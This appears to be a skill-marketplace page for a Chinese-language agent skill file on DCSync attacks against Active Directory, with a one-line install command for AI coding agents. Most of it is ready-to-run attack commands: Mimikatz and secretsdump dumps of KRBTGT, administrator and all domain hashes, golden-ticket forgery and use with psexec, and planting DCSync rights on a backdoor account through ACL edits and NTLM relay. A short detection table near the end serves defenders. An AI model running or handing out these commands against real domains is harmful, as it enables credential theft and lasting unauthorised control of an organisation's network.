skills/conducting-domain-persistence-with-dcsync/SKILL.md
执行 DCSync 攻击以复制活动目录(Active Directory)凭据,通过提取 KRBTGT、域管理员和服务账户哈希来建立域持久化,并用于创建黄金票据(Golden Ticket)。
npx skillsauth add killvxk/cybersecurity-skills-zh conducting-domain-persistence-with-dcsyncInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
DCSync 是一种攻击技术,它滥用微软目录复制服务远程协议(MS-DRSR)来模拟域控制器(Domain Controller)并向目标 DC 请求密码数据。该攻击由 Benjamin Delpy(Mimikatz 作者)和 Vincent Le Toux 引入,利用 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限。任何拥有这些权限的主体(用户或计算机)都可以复制域中任何账户(包括 KRBTGT 账户)的密码哈希。有了 KRBTGT 哈希,攻击者可以伪造黄金票据(Golden Ticket)实现无限期域持久化。DCSync 被归类为 MITRE ATT&CK T1003.006,是 APT 组织(包括 APT28(Fancy Bear)、APT29(Cozy Bear)和 FIN6)使用的关键后渗透技术。
# 使用 PowerView
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replicating') -and
($_.ActiveDirectoryRights -match 'ExtendedRight') } |
Select-Object SecurityIdentifier, ObjectAceType
# 使用 BloodHound Cypher 查询
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name, d.name
# 使用 Impacket 检查
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# 转储特定账户(KRBTGT 用于黄金票据)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
# 转储域管理员
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
# 转储所有域账户
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
# 转储所有凭据
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
# 转储特定用户
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
# 仅转储 NTLM 哈希(不含 Kerberos 密钥)
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
# 使用 Kerberos 认证
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/[email protected]
# 创建黄金票据
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"
# 创建具有特定组成员资格的票据
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
# 创建黄金票据
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
# 使用票据
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
# 使用 PowerView - 添加 DS-Replication-Get-Changes-All 权限
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity backdoor_user -Rights DCSync
# 验证权限已添加
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
# 中继认证以添加 DCSync 权限
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
| 工具 | 用途 | 平台 | |------|---------|----------| | Mimikatz | DCSync 提取、黄金票据创建 | Windows | | secretsdump.py | 远程 DCSync(Impacket) | Linux(Python) | | ticketer.py | 黄金票据创建(Impacket) | Linux(Python) | | PowerView | ACL 枚举和修改 | Windows(PowerShell) | | Rubeus | Kerberos 票据操控 | Windows(.NET) | | ntlmrelayx.py | 通过中继提升 DCSync 权限 | Linux(Python) |
| 账户 | 用途 | 持久化价值 | |---------|---------|-------------------| | krbtgt | 黄金票据创建 | 无限期域访问 | | Administrator | 直接 DA 访问 | 即时特权访问 | | 服务账户 | 横向移动 | 跨域服务访问 | | 计算机账户 | 银票据(Silver Ticket)创建 | 服务级模拟 |
| 指标 | 检测方法 | |-----------|-----------------| | 来自非 DC 源的 DrsGetNCChanges RPC 调用 | 监控来自异常 IP 的 DRSUAPI 流量 | | 含复制目录更改 GUID 的事件 4662 | DC 上的 Windows 安全日志(1131f6aa-/1131f6ad- GUID) | | 含黄金票据异常的事件 4624 | 登录事件中存在不可能的 SID 或不存在的用户 | | 域根对象上的 ACL 修改 | 事件 5136(目录服务更改) | | 复制流量量突增 | 网络基线偏差监控 |
testing
设计并执行社会工程学渗透测试,包括钓鱼、语音钓鱼、短信钓鱼和物理借口活动,以衡量人员安全韧性并识别培训差距。
testing
主持结构化的事件后审查,以识别根本原因、记录有效和无效的措施,并提出可操作的改进建议以提升未来的事件响应能力。
testing
通过分析举报的邮件、提取指标、评估凭据受攻陷情况、在全组织范围隔离恶意邮件并修复受影响账号来响应网络钓鱼事件。涵盖邮件头分析、URL/附件沙箱检测和邮箱范围清除操作。适用于网络钓鱼响应、邮件事件、凭据钓鱼、鱼叉式网络钓鱼调查或钓鱼修复相关请求。
tools
票据传递(Pass-the-Ticket,PtT)是一种横向移动技术,使用窃取的 Kerberos 票据(TGT 或 TGS)在不知道用户密码的情况下向服务进行认证。通过从已控制的主机内存中提取 Kerberos 票据,攻击者可以将这些票据注入自己的会话以模拟票据所有者。